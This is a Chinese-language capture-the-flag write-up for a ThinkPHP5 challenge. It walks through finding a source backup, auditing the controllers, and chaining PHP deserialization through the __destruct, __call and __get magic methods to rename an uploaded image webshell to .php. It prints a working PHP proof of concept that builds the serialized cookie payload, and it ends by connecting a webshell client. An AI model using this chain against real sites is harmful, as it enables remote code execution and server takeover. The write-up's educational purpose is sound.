考点
代码审计
反序列化
解题
信息搜集
首先打开是一个登录框,尝试sql无果
注册登录,发现一个文件上传页面
先试试文件上传,会将jpg文件转换为png,文件名随机生成
dirsearch扫一下目录,有备份文件www.tar.gz
解压后是一个tp5的框架
代码审计
打开文件后有两个断点
application/web/controller/Index.php
在访问大部分页面时都会调用到login_check 方法,该方法将传入的用户信息反序列化,再到数据库中进行检查
application/web/controller/Register.php
析构方法,判断是否注册,未注册则跳转到主页
再查看一下文件上传部分的代码
application/web/controller/Profile.php
public function upload_img(){
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}
if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}
先检查是否登录,接着判断文件是否存在,再获取文件后缀,解析是否为正常图片,之后再将其从临时路径拷贝到目标路径
同时该文件下还有两个魔术方法
public function __get($name)
{
return $this->except[$name];
}
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
我们可以利用反序列化和魔术方法来控制upload_img方法,从而任意更改文件名
首先构造一个Register类,通过反序列化调用析构函数,调用checker成员变量再调用index方法。
由于输出可控,我们将checker赋值为Profile对象,之后调用index方法就可以触发__call 方法
此时我们调用this->index ,访问一个不存在的属性就会触发__get 方法
而expect参数可控,我们将Profile的成员变量except赋值为以index为数组键,upload_img()为键值的数组$except=['index'=>'upload_img']
因此在__call 方法中,可以成功调用upload_img方法
public function upload_img(){
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}
if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}
进入函数,将checker赋值为0,绕过判断,再将ext赋值为1,此时把$filename_tmp 赋值为上传的图片马的路径,而覆盖的文件名$filename 赋值为以php结尾的文件
POC:
<?php
namespace app\web\controller;
class Profile
{
public $checker=0;
public $filename_tmp="../public/upload/cc551ab005b2e60fbdc88de809b2c4b1/f3ccdd27d2000e3f9255a7e3e2c48800.png";
public $filename="../public/upload/cc551ab005b2e60fbdc88de809b2c4b1/snakin.php";
public $ext=1;
public $except=array('index'=>'upload_img');
}
class Register
{
public $checker;
public $registed=0;
}
$a=new Register();
$a->checker=new Profile();
echo base64_encode(serialize($a));
之后修改cookie,蚁剑连接即可
参考文章:
https://www.cnblogs.com/BOHB-yunying/p/11555858.html
|